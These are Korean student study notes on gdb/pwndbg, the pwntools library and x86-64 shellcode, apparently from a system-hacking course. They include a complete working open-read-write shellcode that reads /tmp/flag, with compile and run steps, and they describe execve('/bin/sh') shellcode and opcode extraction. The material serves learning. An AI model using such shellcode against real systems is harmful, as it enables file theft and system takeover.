|  |  |  |
| --- | --- | --- |
| **5주차 1번 과제** | **제출일 : 2024.3.10** | **이 선 용** |

# gdb & pwndbg

## gdb

gdb(GNU debugger)는 리눅스의 대표적인 디버거. 오픈 소스로 개발되어 무료로 설치 가능. 다양한 플러그인들이 개발되어 있음. Ubuntu 22.04에는 기본적으로 설치되어 있음.

1) C언어 코드 작성

2) gcc -o debugee debugee.c -no-pie

3) gdb debugee

## entry

리눅스는 실행파일의 형식으로 ELF를 규정하고 있음. ELF는 크게 헤더와 여러 섹션들로 구성되어 있음. 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 섹션들에는 컴파일된 기계어 코드, 프로그램 문자열을 비롯한 여러 데이터가 포함되어 있음.

ELF의 헤더 중에 \*\*진입점\*\* 이라는 필드가 있는데, 운영체제는 ELF를 실행할 때, 진입점의 값부터 프로그램을 실행함. readelf로 확인해본 결과 debugee의 진입점은 0x401050임. Entry point address를 확인하면 됨.

gdb의 entry 명령어는 진입점부터 프로그램을 분석할 수 있게 해주는 gdb의 명령어임.

DISASM영역의 화살표가 가리키는 주소는 현재 rip의 값인데, entry 명령어를 실행하고 보면 0x401050을 가리키고 있음. 이는 앞서 살펴본 프로그램의 진입점의 주소와 일치함.

pwndbg > entry 를 입력하면 진입점을 알 수 있다.

## context

프로그램은 실행되면서 레지스터를 비롯한 여러 메모리에 접근한다. 따라서 디버거를 이용하여 프로그램의 실행 과정을 자세히 관찰하려면 컴퓨터의 각종 메모리를 한눈에 파악할 수 있는 것이 좋다.

pwndbg는 주요 메모리들의 상태를 프로그램이 실행되고 있는 맥락(Context)라고 부르며, 이를 가독성 있게 표현할 수 있는 인터페이스를 갖추고 있다.

1. Registers : 레지스터의 상태를 보여준다.

2. Disasm: rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여줌

3. Stack : rsp부터 여러 줄에 걸쳐 스택의 값들을 보여줌

4. Backtrace : 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여준다.

## break&continue

gdb를 이용하여 프로그램을 분석할 때, 일반적으로 전체 프로그램 중 아주 일부분의 동작에만 관심이 있다. 이 예제에서 main 함수가 분석의 대상이라고 가정하자. 이런 상황에서, 진입점부터 main 함수까지, 코드를 한 줄씩 실행시켜가며 main 함수에 도달해야 한다면, 디버깅은 그렇게 효율적인 분석 방법이 아닐 것이다.

그래서 많은 디버거에는 break와 continue라는 기능이 있다. break는 특정 주소에 중단점(breakpoint)을 설정하는 기능이고, continue는 중단된 프로그램을 계속 실행시키는 기능이다. break로 원하는 함수에 중단점을 설정하고, 프로그램을 계속 실행하면 해당 함수까지 멈추지 않고 실행한 다음 중단된다. 그러면 중단된 지점부터 다시 세밀하게 분석할 수 있다. 이들을 활용해 현재 중단된 start 함수부터 main 함수까지 실행시켜보자.

gdb는 훌륭한 명령어 축약 기능을 제공함. 어떤 명령어를 특정할 수 있는 최소한의 문자열만 입력하면 자동으로 명령어를 찾아 실행해준다. 몇몇 대표적인 명령어들(break, continue, run 등)은 특정할 수 없더라도 우선으로 실행해준다.

\* b: break

\* c: continue

\* r: run

\* si: step into

\* ni: next instruction

\* i: info

\* k: kill

\* pd: pdisas

## disassembly

gdb는 프로그램을 어셈블리 코드 단위로 실행하고, 결과를 보여줌. 프로그램의 코드는 기계어로 이루어져 있으므로, gdb는 기게어를 디스어셈블하는 기능을 기본적으로 탑재하고 있다. 추가로, pwndbg에는 디스어셈블된 결과를 가독성 좋게 출력해주는 기능이 있다.

disassemble은 gdb가 기본적으로 제공하는 디스어셈블 명령어다.

u, nearpc, pdisass는 pwndbg에서 제공하는 디스어셈블 명령어임. 디스어셈블된 코드를 가동성 좋게 출력해줌.

## navigate

관찰하고자 하는 함수의 중단점에 도달했으면, 그 지점부터는 명령어를 한 줄씩 자세히 분석해야한다. 이때 사용하는 명령어로 \*\*ni\*\* 와 \*\*si\*\*가 있다.

### next instruction

\* ni를 입력하면, 아래와 같이 printf 함수 바로 다음으로 rip가 이동한 것을 확인할 수 있다.

ni와 si는 모두 어셈블리 명령어를 한 줄 실행한다는 공통점이 있다. 그러나 만약 call 등을 통해 서브루틴을 호출하는 경우 ni는 서브루틴의 내부로 들어가지 않지만, si는 서브루틴의 내부로 들어간다는 차이점이 있다. 이를 확인하기 위해 일단 main 함수에서 printf 함수를 호출하는 지점까지 실행해보자.

\* 왜 printf를 실행했는데 아무 문자열도 출력되지 않는가?

printf가 출력하고자 하는 문자열은 stdout의 버퍼에서 잠시 대기한 뒤 출력됨. 여기서 버퍼는 '데이터가 목적지로 이동하기 전에 잠시 저장되는 장소'라는 의미임. stdout버퍼는 특정 조건이 만족됐을 때만 데이터를 목적지로 이동시키는데, 그 조건은 다음과 같다.

1. 프로그램이 종료될 때

2. 버퍼가 가득 찼을 때

3. fflush와 같은 함수로 버퍼를 비우도록 명시했을 때

4. 개행문자가 버퍼에 들어왔을 때

예시는 위 조건을 하나도 만족하지 않기 때문에, 프로그램이 종료될 때까지 문자열을 출력하지 않습니다.

### step into

printf 함수를 호출하는 지점까지 다시 프로그램을 실행시킨 뒤, si를 입력하면 아래와 같이 printf 함수 내부로 rip가 이동한 것을 확인할 수 있다. 프로그램을 분석하다가, \*\*어떤 함수의 내부까지 궁금할 때는 si를\*\*, 그렇지 않을 때는 \*\*ni\*\*를 사용한다. 여기서 잠시 context 하단의 Backtrace를 보면, main 함수에서 printf를 호출했으므로 main 함수 위에 printf 함수가 쌓인 것을 볼 수 있다.

## finish

step into로 함수 내부에 들어가서 필요한 부분을 모두 분석했는데, 함수의 규모가 커서 ni로는 원래 실행 흐름으로 돌아가기 어려울 수 있다. 이럴때는 finish라는 명령어를 사용해 함수의 끝까지 한 번에 실행할 수 있다.

## examine

프로그램을 분석하다보면 가상 메모리에 존재하는 임의 주소의 값을 관찰해야할 때가 있다. 이를 위해 gdb에는 기본적으로 x라는 명령어를 제공함. x를 이용하면 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼 수 있다.

\* Format letters are o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char), s(string) and z(hex, zero padded on the left). Size letters are b(byte), h(halfword), w(word), g(giant, 8 bytes).

1. rsp부터 80바이트를 8바이트씩 hex형식으로 출력

\* pwndbg> x/10gx $rsp

2. rip부터 5줄의 어셈블리 명령어 출력

\* pwndbg> x/5i $rip

3. 특정 주소의 문자열 출력

\* pwndbg> x/s 0x400000

## telescope

telescope은 pwndbg가 제공하는 강력한 메모리 덤프 기능이다. 특정 주소의 메모리 값들을 보여주는 것에서 그치지 않고, 메모리가 참조하고 있는 주소를 재귀적으로 탐색하여 값을 보여준다.

## vmmap

vmmap은 가상 메모리의 레이아웃을 보여준다. 어떤 파일이 매핑 된 영역일 경우, 해당 파일의 경로가지 보여준다.

\* 파일 매핑이란?

어떤 파일을 메모리에 적재하는 것을 파일 매핑이라고 함. 위 메모리 레이아웃에서 /home/dreamhack/debugee와 /usr/lib/x86\_64-linux-gnu/libc.so.6, /usr/lib/x86\_64-linux-gnu/ld-linux-x86-64.so.2가 매핑된 파일들임.

리눅스에서는 ELF를 실행할 때, 먼저 ELF의 코드와 여러 데이터를 가상 메모리에 매핑하고, 해당 ELF에 링크된 공유 오브젝트(Shared Object, so)를 추가로 메모리에 매핑함. 공유 오브젝트는 윈도우의 DLL과 대응되는 개념으로, 자주 사용되는 함수들을 미리 컴파일해둔 것. C언어의 printf, scanf 등이 리눅스에서는 libc(library C)에 구현되어 있음. 공유 오브젝트에 이미 구현된 함수를 호출할 때는 매핑된 메모리에 존재하는 함수를 대신 호출함.

## gdb / python

때로는 gdb를 사용하여 프로그램을 디버깅할 때, 키보드로 직접 타이핑하기 어려운 복잡한 값을 입력하고 싶은 순간이 있다. 예를 들어, 숫자도 아니고, 알파벳도 아니며, 특수 문자도 아닌 값을 입력하는 상황임. 이러한 값은 이용자가 직접 입력할 수 없는 값이기 때문에 파이썬으로 입력값을 생성하고, 이를 프로그램 입력으로 넘겨주는 방식을 사용해야 함.

## gdb / python argv

run 명령어의 인자로 $()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다. 다음은 파이썬에서 print 함수를 통해 출력한 값을 run(r) 명령어의 인자로 전달하는 명령임.

`r $(python3 -c "print('\xff' \* 100)")`

## gdb / python input

이전과 같이 $()와 함게 파이썬 코드를 입력하면 값을 입력할 수 있음. 입력값으로 전달하기 위해서는 <<<를 사용함. 이 코드는 앞서 배운 argv[1]에 임의의 값을 전달하고, 값을 입력하는 명령어임.

`r $(python3 -c "print('\xff' \* 100)") <<< $(python3 -c "print('dreamhack')")`

### 요약

\* entry: 진입점에 중단점을 설정한 후 실행

\* break(b): 중단점 설정

\* continue(c): 계속 실행

\* disassemble: 디스어셈블 결과 출력

\* u, nearpc, pd: 디스어셈블 결과 가독성 좋게 출력

\* x: 메모리 조회

\* run(r): 프로그램 처음부터 실행

\* context: 레지스터, 코드, 스택, 백트레이스의 상태 출력

\* nexti(ni): 명령어 실행, 함수 내부로는 들어가지 않음

\* stepi(si): 명령어 실행, 함수 내부로 들어감

\* telescope(tele): 메모리 조회, 메모리값이 포인터일 경우 재귀적으로 따라가며 모든 메모리값 출력

\* vmmap: 메모리 레이아웃 출력

추가적으로 다음과 같이 바이너리에 main() 심볼이 존재할 때 유용한 명령어도 있음.

start: main() 심볼이 존재하면 main()에 중단점을 설정한 후 실행. main() 심볼이 없으면 진입점에 중단점을 설정한 후 실행

main: start 명령어와 동일

-----------------------------------------

## process & remote

process 함수는 익스플로잇을 \*\*로컬 바이너리\*\*를 대상으로 할 때 사용하는 함수.

remote 함수는 \*\*원격 서버\*\*를 대상으로 할 때 사용하는 함수.

`from pwn import \*

p = process('./test') # 로컬 바이너리 'test'를 대상으로 익스플로잇 수행

p = remote('example.com', 31337) # 'example.com'의 31337 포트에서 실행 중인 프로세스를 대상으로 익스플로잇 수행`

## send

send는 데이터를 프로세스에 전송하기 위해 사용함. pwntools에는 관련된 다양한 함수가 정의되어 있음.

from pwn imort \*

p = process('./test')

p.send(b'A') # ./test에 b'A'를 입력

p.sendline(b'A') # ./test에 b'A' + b'\n'을 입력

p.sendafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A'를 입력

p.sendlineafter(b'hello', b'A') # ./test가 b'hello'를 출력하면, b'A' + b'\n'을 입력

## recv

recv는 프로세스에서 데이터를 받기 위해 사용함. 마찬가지로 pwntools에는 관련된 다양한 함수가 정의되어 있음.

주의해서 봐야할 것은 recv()와 recvn()의 차이점임. recv(n)은 최대 n바이트를 받는 것이므로, 그만틈을 받지 못해도 에러를 발생시키지 않지만, recvn(n)의 경우 정확히 n바이트의 데이터를 받지 못하면 계속 기다림.

from pwn import \*

p = process('./test')

data = p.recv(1024) # p가 출력하는 데이터를 최대 1024바이트까지 받아서 data에 저장

data = p.recvline() # p가 출력하는 데이터를 개행문자를 만날 때까지 받아서 data에 저장

data = p.recvn(5) # p가 출력하는 데이터를 5바이트만 받아서 data에 저장

data = p.recvuntil(b'hello') # p가 b'hello'를 출력할 때까지 데이터를 수신하여 data에 저장

data = p.recvall() # p가 출력하는 데이터를 프로세스가 종료될 때까지 받아서 data에 저장

## packing & unpacking

익스플로잇을 작성하다 보면 어떤 값을 리틀 엔디언의 바이트 배열로 변경하거나, 또는 역의 과정을 거쳐야 하는 경우가 자주 있다. pwntools에는 관련된 함수들이 정의되어 있다.

#!/usr/bin/env python3

(#) Name: pup.py

from pwn import \*

s32 = 0x41424344

s64 = 0x4142434445464748

print(p32(s32))

print(p64(s64))

s32 = b"ABCD"

s64 = b"ABCDEFGH"

print(hex(u32(s32)))

print(hex(u64(s64)))

## interactive

셸을 획득했거나, 익스플로잇의 특정 상황에 직접 입력을 주면서 출력을 확인하고 싶을 때 사용하는 함수.

호출하고 나면 터미널로 프로세스에 데이터를 입력하고, 프로세스의 출력을 확인할 수 있음.

from pwn import \*

p = process('./test')

p.interactive()

## ELF

ELF 헤더에는 익스플로잇에 사용될 수 있는 가종 정보가 기록되어 있음. pwntools를 사용하면 이 정보들을 쉽게 참조할 수 있다.

from pwn import \*

e = ELF('./test')

puts\_plt = e.plt['puts'] # ./test에서 puts()의 PLT주소를 찾아서 puts\_plt에 저장

read\_got = e.got['read'] # ./test에서 read()의 GOT주소를 찾아서 read\_got에 저장

## context.log

익스플로잇에 버그가 발생하면 익스플로잇도 디버깅 해야한다. pwntools에는 디버그의 편의를 돕는 로깅 기능이 있으며, 로그 레벨은 context.log\_level 변수로 조절할 수 있다.

from pwn import \*

context.log\_level = 'error' # 에러만 출력

context.log\_level = 'debug' # 대상 프로세스와 익스플로잇간에 오가는 모든 데이터를 화면에 출력

context.log\_level = 'info' # 비교적 중요한 정보들만 출력

## context.arch

pwntools는 셸코드를 생성하거나, 코드를 어셈블, 디스어셈블하는 기능 등을 가지고 있는데, 이들은 공격 대상의 아키텍처에 영향을 받는다. 그래서 pwntools는 아키텍처 정보를 프로그래머가 지정할 수 있게 하며, 이 값에 따라 몇몇 함수들의 동작이 달라진다.

from pwn import \*

context.arch = "amd64" # x86-64 아키텍처

context.arch = "i386" # x86 아키텍처

context.arch = "arm" # arm 아키텍처

## shellcraft

pwntools에는 자주 사용되는 셸 코드들이 저장되어 있어서, 공격에 필요한 셸 코드를 쉽게 꺼내 쓸 수 있게 해준다. 매우 편리한 기능이지만 정적으로 생성된 셸 코드는 셸 코드가 실행될 때의 메모리 상태를 반영하지 못한다. 또한, 프로글매에 따라 입력할 수 있는 셸 코드의 길이나, 구성 가능한 문자의 종류에 제한이 있을 수 있는데, 이런 조건들도 반영하기 어렵다. 따라서 제약 조건이 존재하는 상황에서는 직접 셸 코드를 작성하는 것이 좋다.

## asm

pwntools는 어셈블 기능을 제공함. 이 기능도 대상 아키텍처가 중요하므로, 아키텍처를 미리 지정해야 함.

## 요약

\* process & remote: 로컬 프로세스 또는 원격 서버의 서비스를 대상으로 익스플로잇 수행

\* send & recv: 데이터 송수신

\* packing & unpacking: 정수를 바이트 배열로, 또는 바이트 배열을 정수로 변환

\* interactive: 프로세스 또는 서버와 터미널로 직접 통신

\* context.arch: 익스플로잇 대상의 아키텍처

\* context.log\_level: 익스플로잇 과정에서 출력할 정보의 중요도

\* ELF: ELF헤더의 여러 중요 정보 수집

\* shellcraft: 다양한 셸 코드를 제공

\* asm: 어셈블리 코드를 기계어로 어셈블

# 쉘코드

\*\*쉘코드\*\*는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫는다. 일반적으로 쉘을 획득하기 위한 목적으로 쉘코드를 사용해서, 특별히 "쉘"이 접두사로 붙었다. 쉘을 획득하는 것은 시스템 해킹의 관점에서 매우 중요한데, 그 이유는 execve 쉘 코드에서 살펴본다.

만약 해커가 rip를 자신이 작성한 쉘코드로 옮길 수 있으면 해커는 원하는 어셈블리 코드를 실행시킬 수 있다. 어셈블리어는 기계어와 거의 일대일 대응되므로 사실상 원하는 모든 명령을 CPU에 내릴 수 있게 된다.

쉘코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라, 그리고 쉘코드의 목적에 따라 다르게 작성된다. 아키텍처별로 자주 사용되는 쉘코드를 모아 공유하는 사이트도 존재한다. 그러나 공유되는 쉘코드는 범용적으로 작성된 것이기 때문에, 실행될 때의 메모리 상태 같은 시스템 환경을 완전히 반영하지는 못한다. 따라서 최적의 쉘코드는 일반적으로 직접 작성해야 하며, 상황에 다라 반드시 그래야만 할 수도 있다. 쉘코드를 공유하는 서비스가 있다는 사실을 알고있되, 이런 상황을 대비해 언제든 스스로 작성할 수 있어야 한다.

## orw 쉘코드 작성

orw 쉘코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 쉘코드다.

구현하려는 쉘코드의 동작을 c언어 형식의 의사코드로 표현하면 다음과 같다.

char buf[0x30];

int fd = open("/tmp/flag", RD\_ONLY, NULL);

read(fd, buf, 0x30);

write(1, buf, 0x30);

orw 쉘코드를 작성하기 위해 알아야 하는 syscall은 다음과 같다.

1. int fd = open("/tmp/falg", O\_RDONLY, NULL)

syscall = open

rax = 0x02

arg0(rdi) = const char\* filename

arg1(rsi) = int flags

arg2(rdx) = umode\_t mode

첫 번째로 해야 할 일은 "/tmp/flag" 라는 문자열을 메모리에 위치시키는 것임. 이를 위해 스택에 0x616c662f706d742f67(/tmp/flag)를 push 하여 위치시키도록 만들 것임. 하지만 스택에는 8바이트 단위로만 값을 push할 수 있으므로 0x67을 우선 push한 후, 0x616c662f706d742f를 push한다. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮긴다.

O\_RDONLY는 0이므로, rsi는 0으로 설정합니다.

파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정한다.

마지막으로 rax를 open의 syscall 값인 2로 설정한다.

push 0x67

mov rax, 0x616c662f706d742f

push rax

mov rdi, rsp ; rdi = "/tmp/flag"

xor rsi, rsi ; rsi = 0 ; RD\_ONLY

xor rdx, rdx ; rdx = 0

mov rax, 2 ; rax = 2 ; syscall\_open

syscall ; open("/tmp/flag", RD\_ONLY, NULL)

2. read(fd, buf, 0x30)

syscall = read

rax = 0x00

rdi = unsigned int fd

rsi = char\* buf

rdx = size\_t count

syscall의 반환 값은 rax로 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입한다. RSI는 파일에서 읽은 데이터를 저장할 주소를 가리킨다. 0x30만큼 읽을 것이므로, rsi에 rsp-0x30을 대입한다.

rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정한다.

read 시스템콜을 호출하기 위해서 rax를 0으로 설정한다.

mov rdi, rax ; rdi = fd

mov rsi, rsp

sub rsi, 0x30 ; rsi = rsp-0x30 ; buf

mov rdx, 0x30 ; rdx = 0x30 ; len

mov rax, 0x0 ; rax = 0 ; syscall\_read

syscall ; read(fd, buf, 0x30)

---------------------

\* fd란?

파일 서술자(File Descriptor, fd)는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자. 프로세스마다 고유의 서술자 테이블을 갖고 있으며, 그 안에 여러 파일 서술자를 저장함. 서술자 각각은 번호로 구별되는데, 일반적으로 0번은 일반 입력(Standard Input, STDIN), 1번은 일반 출력(Standard Output, STDOUT), 2번은 일반 오류(Standard Error, STDERR)에 할당되어 있으며, 이들은 프로세스를 터미널과 연결해준다. 그래서 우리는 키보드 입력을 통해 프로세스에 입력을 전달하고, 출력을 터미널로 받아볼 수 있다.

프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당해준다. 그러면 프로세스는 그 fd를 이용하여 파일에 접근할 수 있다.

-------------------

3. write(1, buf, 0x30)

syscall = write

rax = 0x01

rdi = unsigned int fd

rsi = const char\* buf

rdx = size\_t count

출력은 stdout으로 할 것이므로, rdi를 0x1로 설정한다.

rsi와 rdx는 read에서 사용한 값을 그대로 사용한다.

write 시스템콜을 호출하기 위해서 rax를 1로 설정한다.

mov rdi, 1 ; rdi = 1 ; fd = stdout

mov rax, 0x1 ; rax = 1 ; syscall\_write

syscall ; write(fd, buf, 0x30)

이들을 모두 종합한 코드는 다음과 같다.

<code>

;Name: orw.S

push 0x67

mov rax, 0x616c662f706d742f

push rax

mov rdi, rsp ; rdi = "/tmp/flag"

xor rsi, rsi ; rsi = 0 ; RD\_ONLY

xor rdx, rdx ; rdx = 0

mov rax, 2 ; rax = 2 ; syscall\_open

syscall ; open("/tmp/flag", RD\_ONLY, NULL)

mov rdi, rax ; rdi = fd

mov rsi, rsp

sub rsi, 0x30 ; rsi = rsp-0x30 ; buf

mov rdx, 0x30 ; rdx = 0x30 ; len

mov rax, 0x0 ; rax = 0 ; syscall\_read

syscall ; read(fd, buf, 0x30)

mov rdi, 1 ; rdi = 1 ; fd = stdout

mov rax, 0x1 ; rax = 1 ; syscall\_write

syscall ; write(fd, buf, 0x30)

</code>

## orw 쉘코드 컴파일 및 실행

대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있다. 윈도우의 PE, 리눅스의 ELF가 대표적인 예다. ELF는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있다.

우리가 위에서 작성한 쉘코드 orw.s는 아스키로 작성된 어셈블리 코드이므로, 기계어로 치환하면 CPU가 이해할 수는 있으나 ELF형식이 아니므로 리눅스에서 실행될 수 없다. 여기서 gcc컴파일을 통해 이를 ELF형식으로 변환하겠다.

### 컴파일

어셈블리 코드를 컴파일하는 방법에는 여러 가지가 있을 수 있으나, 이 강의에서는 쉘코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 쉘코드를 탑재하는 방법을 사용하겠다. 스켈레톤 코드는 핵심 내용이 비어있는, 기본 구조만 갖춘 코드를 말한다. 이 스켈레톤 코드에 앞에서 작성한 쉘코드를 채워보자.

<code>

// File name: sh-skeleton.c

// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

\_\_asm\_\_(

".global run\_sh\n"

"run\_sh:\n"

"Input your shellcode here.\n"

"Each line of your shellcode should be\n"

"seperated by '\n'\n"

"xor rdi, rdi # rdi = 0\n"

"mov rax, 0x3c # rax = sys\_exit\n"

"syscall # exit(0)");

void run\_sh();

int main() {

run\_sh();

}

</code>

-------------------------

<code>

;Name: orw.S

push 0x67

mov rax, 0x616c662f706d742f

push rax

mov rdi, rsp ; rdi = "/tmp/flag"

xor rsi, rsi ; rsi = 0 ; RD\_ONLY

xor rdx, rdx ; rdx = 0

mov rax, 2 ; rax = 2 ; syscall\_open

syscall ; open("/tmp/flag", RD\_ONLY, NULL)

mov rdi, rax ; rdi = fd

mov rsi, rsp

sub rsi, 0x30 ; rsi = rsp-0x30 ; buf

mov rdx, 0x30 ; rdx = 0x30 ; len

mov rax, 0x0 ; rax = 0 ; syscall\_read

syscall ; read(fd, buf, 0x30)

mov rdi, 1 ; rdi = 1 ; fd = stdout

mov rax, 0x1 ; rax = 1 ; syscall\_write

syscall ; write(fd, buf, 0x30)

</code>

--------------------------

<code>

// File name: orw.c

// Compile: gcc -o orw orw.c -masm=intel

\_\_asm\_\_(

".global run\_sh\n"

"run\_sh:\n"

"push 0x67\n"

"mov rax, 0x616c662f706d742f \n"

"push rax\n"

"mov rdi, rsp # rdi = '/tmp/flag'\n"

"xor rsi, rsi # rsi = 0 ; RD\_ONLY\n"

"xor rdx, rdx # rdx = 0\n"

"mov rax, 2 # rax = 2 ; syscall\_open\n"

"syscall # open('/tmp/flag', RD\_ONLY, NULL)\n"

"\n"

"mov rdi, rax # rdi = fd\n"

"mov rsi, rsp\n"

"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"

"mov rdx, 0x30 # rdx = 0x30 ; len\n"

"mov rax, 0x0 # rax = 0 ; syscall\_read\n"

"syscall # read(fd, buf, 0x30)\n"

"\n"

"mov rdi, 1 # rdi = 1 ; fd = stdout\n"

"mov rax, 0x1 # rax = 1 ; syscall\_write\n"

"syscall # write(fd, buf, 0x30)\n"

"\n"

"xor rdi, rdi # rdi = 0\n"

"mov rax, 0x3c # rax = sys\_exit\n"

"syscall # exit(0)");

void run\_sh();

int main() {

run\_sh();

}

</code>

### 실행

쉘코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성.

echo 'flag{this\_is\_open\_read\_write\_shellcode!}' > /tmp/flag

orw.c를 컴파일하고, 실행.

gcc -o orw orw.c -masm=intel

./orw

flag{this\_is\_open\_read\_write\_shellcode!}

쉘코드가 성공적으로 실행되어 우리가 저장한 문자열이 출력되는 것을 확인할 수 있다. 만약 공격의 대상이 되는 시스템에서 이 쉘코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것이다.

그리고 /tmp/flag 의 내용 말고도 몇 자의 알 수 없는 문자열들이 출력되는 경우가 있다. 디버깅을 통해 쉘코드의 동작을 살펴보고, 알 수 없는 값들이 출력되는 원인을 알아보도록 하자.

## orw 쉘코드 디버깅

앞서 배운 gdb를 통해 우리가 작성한 쉘코드의 동작을 자세히 분석해보자.

orw를 gdb로 열고 run\_sh()에 브레이크 포인트를 설정한다.

run 명령어로 run\_sh()의 시작 부분까지 코드를 실행.

그러면 우리가 작성한 쉘코드에 rip가 위치한 것을 확인할 수 있다.

1. int fd = open("/tmp/flag", O\_RDONLY, NULL)

첫 번째 syscall이 위치한 run\_sh+29 브레이크 포인트를 설정한 후 실행하여, 해당 시점에 syscall에 들어갈 인자를 확인해보자.

pwndbg 플러그인은 syscall을 호출할 때, 인자를 해석해서 보여준다.

쉘코드를 작성할 때 계획했듯이, open("/tmp/flag", O\_RDONLY, NULL);가 실행됨을 확인할 수 있다.

ni 명령어로 syscall을 실행하고 나면, open 시스템콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장된다.

2. read(fd, buf, 0x30)

마찬가지로 두 번째 syscall이 위치한 run\_sh+55에 브레이크 포인트를 설정하고 실행한 후 인자를 살펴보자.

새로 할당한 /tmp/flag의 fd(3)에서 데이터를 0x30바이트만큼 읽어서 0x7fffffffe2c8에 저장한다.

ni 명령어로 syscall을 실행.

위 레지스터 부분의 RSI를 통해서 파일의 내용이 0x7fffffffe2c8에 저장되었음을 이미 알 수 있지만, x/s 명령어로도 확인해보자.

3. write(1, buf, 0x30)

마지막으로, 다음은 읽어낸 데이터를 출력하는 write 시스템 콜을 실행하기 직전의 모습이다.

## 초기화되지 않은 메모리 영역 사용

다음과 같이 /tmp/flag의 데이터 외에 알 수 없는 문자열이 출력되는 경우가 있는데, 이는 나중에 배우게 될 초기화되지 않은 메모리 영역 사용에 의한 것이다.

\* 초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)

스택은 앞서 얘기했듯 다양한 함수들이 공유하는 메모리 자원이다. 각 함수가 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제한다. 그런데 스택에서 해제라는 것은 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시키는 것을 말한다. 즉, 어떤 함수를 해제한 이후, 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임에 존재하게 된다. 우리는 이를 쓰레기 값(garbage data)이라고 표현하기도 한다.

프로세스는 쓰레기 값 때문에 때때로 예상치 못한 동작을 하기도 하며, 해커에게 의도치 않게 중요한 정보를 노출하기도 한다. 따라서 이런 위험으로부터 안전한 프로그램을 작성하려면 스택이나 힙을 사용할 때 항상 적절한 초기화 과정을 거쳐야 한다.

## Appendix. Uninitialized Memory

알 수 없는 값이 함께 출력되는 경우, read 시스템 콜을 실행한 직후로 돌아가 원인을 분석해볼 수 있다.

48바이트 중, 앞의 41바이트만 우리가 저장한 파일의 데이터이고, 마지막 7바이트는 널 바이트로 존재함. 알 수 없는 값이 출력되는 경우 뒤 7바이트가 널 바이트가 아닌 쓰레기 값이 들어 있을 것이다. 쓰레기 값이 나중에 write 시스템콜을 수행할 때, 플래그와 함게 출력되는 것이다.

해커의 입장에서 쓰레기 값은 아무 의미 없는 값이 아니다. 쓰레기 값은 어셈블리 코드의 주소나 어떤 메모의 주소일 수 있다. 이런 중요한 값을 유출해 내는 작업을 메모리 릭(Memory Leak)이라고 부르는데, 앞으로 배워나갈 보호기법들을 무력화하는 핵심 역할을 한다.

# execve 쉘코드

쉘이란 운영체제에 명령을 내리기 위해 사용되는 사용자의 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널이라고 하는 것과 대비된다. 쉘을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 쉘 획득을 시스템 해킹의 성공으로 여긴다.

execve 쉘코드는 임의의 프로그램을 실행하는 쉘코드인데, 이를 이용하면 서버의 쉘을 획득할 수 있다. 다른 언급없이 쉘코드라고 하면 이를 의미하는 경우가 많다.

최신의 리눅스는 대부분 sh, bash를 기본 쉘 프로그램으로 탑재하고 있으며, 이 외에도 zsh, tsh 등의 쉘을 유저가 설치해서 사용할 수 있다.

## execve("/bin/sh", null, null)

execve 쉘코드는 execve 시스템 콜만으로 구성된다.

syscall = execve

rax = 0x3b

rdi = const char\* filename

rsi = const char\* const\* argv

rdx = const char\* const\* envp

여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 된다. 리눅스에서는 기본 실행 프로그램들이 /bin/디렉토리에 저장되어 있으며, 우리가 실행할 sh도 여기에 저장되어 있다.

따라서 우리는 execve("/bin/sh", null, null)을 실행하는 것을 목표로 쉘 코드를 작성하면 된다. 앞에서 작성한 orw쉘 코드와 비교했을 때 그렇게 어렵지 않으므로, 직접 작성해보고 아래의 쉘 코드와 비교해보자.

## execve 쉘코드 컴파일 및 실행

스켈레톤 코드를 이용하여 execve 쉘 코드를 컴파일.

## objdump 를 이용한 shellcode 추출

마지막으로, 작성한 쉘코드를 바이트코드(opcode)의 형태로 추출하는 방법을 알아본다.

아래 주어진 shellcode.asm에 대해서 이를 바이트 코드로 바꾸는 과정이다.

$ nasm -f elf shellcode.asm

$ objdump -d shellcode.o

$ objcopy --dump-section .text=shellcode.bin shellcode.o

$ xxd shellcode.bin

--------------------

# 함수 호출 규약

